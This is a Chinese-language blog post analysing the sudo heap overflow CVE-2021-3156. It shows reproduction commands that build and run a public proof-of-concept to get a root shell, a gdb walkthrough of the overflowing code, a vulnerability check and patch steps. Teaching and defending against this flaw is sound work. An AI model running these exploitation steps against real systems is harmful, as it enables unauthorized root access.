CVE-2021-3156漏洞浅析 – 作者:天禧信安385

0x00前言

好几周前 Linux 有个 sudo 漏洞爆出来了 编号 CVE-2021-3156这个漏洞能让低权限用户(甚至没有在 su­do­ers 文件里)直接提权到 root
漏洞影响版本:lsudo 1.8.2-1.8.31p2lsudo 1.9.0-1.9.5p1 稳定版

0x01 漏洞复现

复现环境为 Ubuntu 18.04.5 (Bionic) LTS首先创建一个低权限用户用于测试 PoC:

useradd doge

然后切换到用户 doge,确认其权限:

su doge
whoami
# doge
sudo apt install git
# doge不在sudoers文件中。此事件将被报告

确认过权限后,我们开始构建漏洞 PoC,这里使用的是 https://github.com/blasty/CVE-2021-3156

git clone https://github.com/blasty/CVE-2021-3156.gitcd CVE-2021-3156make

啪的一下就构建完了,很快啊它会生成一个 sudo-hax-me-a-sand­wich 程序,直接运行它

./sudo-hax-me-a-sandwich
#** CVE-2021-3156 PoC by blasty
#
#  usage: ./sudo-hax-me-a-sandwich
#
#  available targets:
#  ------------------------------------------------------------
#    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
#    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
#    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
#  ------------------------------------------------------------
#
#  manual mode:
#    ./sudo-hax-me-a-sandwich

很巧啊 ,我们的测试环境正好和它对上了,咱直接开干

./sudo-hax-me-a-sandwich 0
# ** CVE-2021-3156 PoC by blasty
#
# using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'](56, 54, 63, 212)
# ** pray for your rootshell.. **
# [+] bl1ng bl1ng! We got it!
whoami
# root

这样下来,我们就拿到了一个 root shell看来咱pray还是有效的,不如每次拿shell之前心里默念大悲咒(?)

0x02 漏洞分析

啪的一下,咱就装个 cgdb

sudo apt install cgdb

为什么不用 gdb?因为 cgdb 提供两个界面:一个代码界面,一个 gdb 命令行
众所周知,gdb看代码需要list指令,有时候它显示不到我们需要的代码,还需要再带上行数而cgdb就能直接上下翻,还能直接在代码上下断点,灰常滴方便我们要分析的sudo版本为1.9.5p1,最后一个有漏洞的版本为了能方便的看代码,我们要把它重新编译一下

wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz
tar xf SUDO_1_9_5p1.tar.gz
cd sudo-SUDO_1_9_5p1
mkdir build
cd build
../configure --enable-env-debug
make -j
sudo make install

完成之后,我们开始调试

sudo cgdb --args sudoedit -s '\' 1145141919810
# 一定要以root权限调试!

网上一些分析文章说漏洞代码是动态加载,要先把程序弄崩,直接下断下不到因此在下断前,还有一些文章会先传 65536 个字符把进程搞崩 (此时漏洞代码已加载),然后再下断动态加载确实不错,但下不了断就是你的不对了
gdb 有个功能,看演示 漏洞代码位于 plu­g­ins/su­do­ers/su­do­ers.c,我们断到第 964 行

(gdb) b ../../../plugins/sudoers/sudoers.c:964
No source file named ../../../plugins/sudoers/sudoers.c.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (../../../plugins/sudoers/sudoers.c:964) pending.
(gdb) #注意,我现在位置一直是在build文件夹没变,这种相对路径要注意当前位置

如果我们下断的库并没有被加载,gdb 会把这个断点保留,直到这个库文件被加载后断点才会生效执行 r 把程序跑起来,gdb 会断在 su­do­ers.c:964 这里,放一段代码:

/* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;
        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(NOT_FOUND_ERROR);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //**gdb断在此处**
        /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.  We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }
        *--to = '\0';
}

我们实际传入的参数有四个:”su­doedit”,”-s”,”\”,”1145141919810″,在前面的代码中 “-s” 已经被去除,留下了三个参数赋值到 NewArgv
在断点前面有一个 for 循环,它把 NewArgv [1] 和 NewArgv [2] 计算出长度来,并使用 mal­loc () 申请了一片内存用于变量 user_args

/* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(NOT_FOUND_ERROR);
        }

这里我们记录下它所申请的内存大小 (即变量 size 的值):

(gdb) p size
$1 = 16

然后我们看看 NewArgv,它是去掉 “-s” 后过来的一个数组

(gdb) p NewArgv
$2 = (char **) 0x55c42f87f708

一个 char 占 1 字节,”su­doedit” 作为一个 char 数组的成员占 8 字节,同时数组成员后面还有 0x00 占一字节,一共是 9 字节。9 字节再加上 16 字节即为 user_args 所在内存

(gdb) p NewArgv+25
$3 = (char **) 0x55c42f87f7d0

我们看一下那里的内存

(gdb) x/8xg 0x55c42f87f7d0
0x55c42f87f7d0: 0x00007f041be3fca0      0x00007f041be3fca0
0x55c42f87f7e0: 0x0000000000000000      0x0000000000000c21
0x55c42f87f7f0: 0x00007f041be3fca0      0x00007f041be3fca0
0x55c42f87f800: 0x0000000000000000      0x0000000000000000

接着看代码,有一个 for 循环用于将 NewArgv [1] 和 NewArgv [2] 存入

user_args
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
                        //注意if判断
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }

首先看 for,将 NewArgv 的第 2 个数组成员 (赋值到 av)(第一个数组成员为 “su­doedit”) 赋值到 from 参数后进入了一个 while 循环读数据,若 from 为 0 (C 语言在每一个数组成员的后面都会加个 0x0 用于分隔,from 为 0 即代表读取完一个数组成员) 则 for 便继续下一轮循环
为什么要注意那个 if 判断呢?我们看看它干了什么:

if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;

若 from [0] 为 \(代码中两个斜杠为转义后) 且 from [1] 为 0x00,就把 from+1这问题就大了,朋友们
我们看看from+1之后是什么

(gdb) p NewArgv[1]
$4 = 0x7ffec3f74315 "\\"
(gdb) x/20xb 0x7ffec3f74315
0x7ffec3f74315: 0x5c    0x00    0x31    0x31    0x34    0x35    0x31    0x34
0x7ffec3f7431d: 0x31    0x39    0x31    0x39    0x38    0x31    0x30    0x00
0x7ffec3f74325: 0x43    0x4c    0x55    0x54

斜杠 (0x5c) 自己占一个数组成员,之后是数组成员的分隔符 (0x00),正好符合判断,from+1 后便来到了 NewArgv [2] 的开头,while 循环便开始读 NewArgv [2] 的数据,看上去没什么毛病?
注意辣 虽然while这里自己把from+1读了NewArgv[2],但它上面for循环的av还停留在NewArgv[1]的位置。while循环退出后,for循环会将av指向NewArgv[2],再读一次。这样NewArgv[2]就被读了两次。给user_args分配的内存是多大(即size的值)来着?

(gdb) p size
$1 = 16

16 字节 那 NewArgv [2] 被读了两次,实际写入的数据为多少哪?我们在第 978 行 (for 循环的下一条指令) 下断,把程序跑起来

(gdb) b ../../../plugins/sudoers/sudoers.c:978
Breakpoint 2 at 0x7ff42c055f01: file ../../../plugins/sudoers/sudoers.c, line 978.
(gdb) c
Continuing.
Breakpoint 2, set_cmnd () at ../../../plugins/sudoers/sudoers.c:978

到这里 for 循环完成了,我们看一下实际写入的数据为多少:

(gdb) p to
$5 = 0x5572bbba57ec " "
(gdb) p 0x5572bbba57ec-0x5572bbba57d0
$6 = 28
(gdb) #我虚拟机中途重启过一次,因此内存
(gdb) #地址有变动。在系统未重启的情况下
(gdb) #0x5572bbba57d0这个地址应为上面
(gdb) #计算出的user_args的地址
(gdb) #(即0x55c42f87f7d0)

实际写入的内存为 28 字节,而 user_args 只有 16 字节的内存啪,堆溢出
此时下一堆块已被修改

(gdb) x/8xg 0x5572bbba57d0
0x5572bbba57d0: 0x3134313534313100      0x3120303138393139
0x5572bbba57e0: 0x3139313431353431      0x0000002030313839
0x5572bbba57f0: 0x00007ff42daabca0      0x00007ff42daabca0
0x5572bbba5800: 0x0000000000000000      0x0000000000000000

sudo 作为一个系统程序自然有高权限这么一溢出 诶 就能以 root 执行任意代码了

0x03 漏洞判断/修复

那我怎么知道自己系统有没有这个漏洞呢打开终端 输入下面的指令 干就完了

sudoedit -s /

如果出来的信息不是以 us­age: 开头,诶 那就有漏洞了
漏洞发布至今已经有好几周的时间了,各大Linux发行版应该也发布了对应补丁,所以你应该能用apt修补这个漏洞

sudo apt update
sudo apt upgrade #或sudo apt install sudo

如果你的 Linux 并没有发布补丁 (或暂时没有时间更新),可以用下面的方法:

#现在应该只有CentOS没有补丁,这段shell是针对CentOS编写
yum install systemtap yum-utils kernel-devel-"$(uname -r)"
vim sudoedit.stap
# 写入以下内容:
# probe process("/usr/bin/sudo").function("main") {
#         command = cmdline_args(0,0,"");
#         if (strpos(command, "edit") >= 0) {
#                 raise(9);
#         }
# }
nohup stap -g sudoedit.stap &
# 注意,上述措施会在重启后失效
# 如果安装了补丁程序,可以用以下办法撤销临时措施:
kill -s SIGTERM systemtap进程PID

来源:freebuf.com 2021-03-27 11:04:17 by: 天禧信安385

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论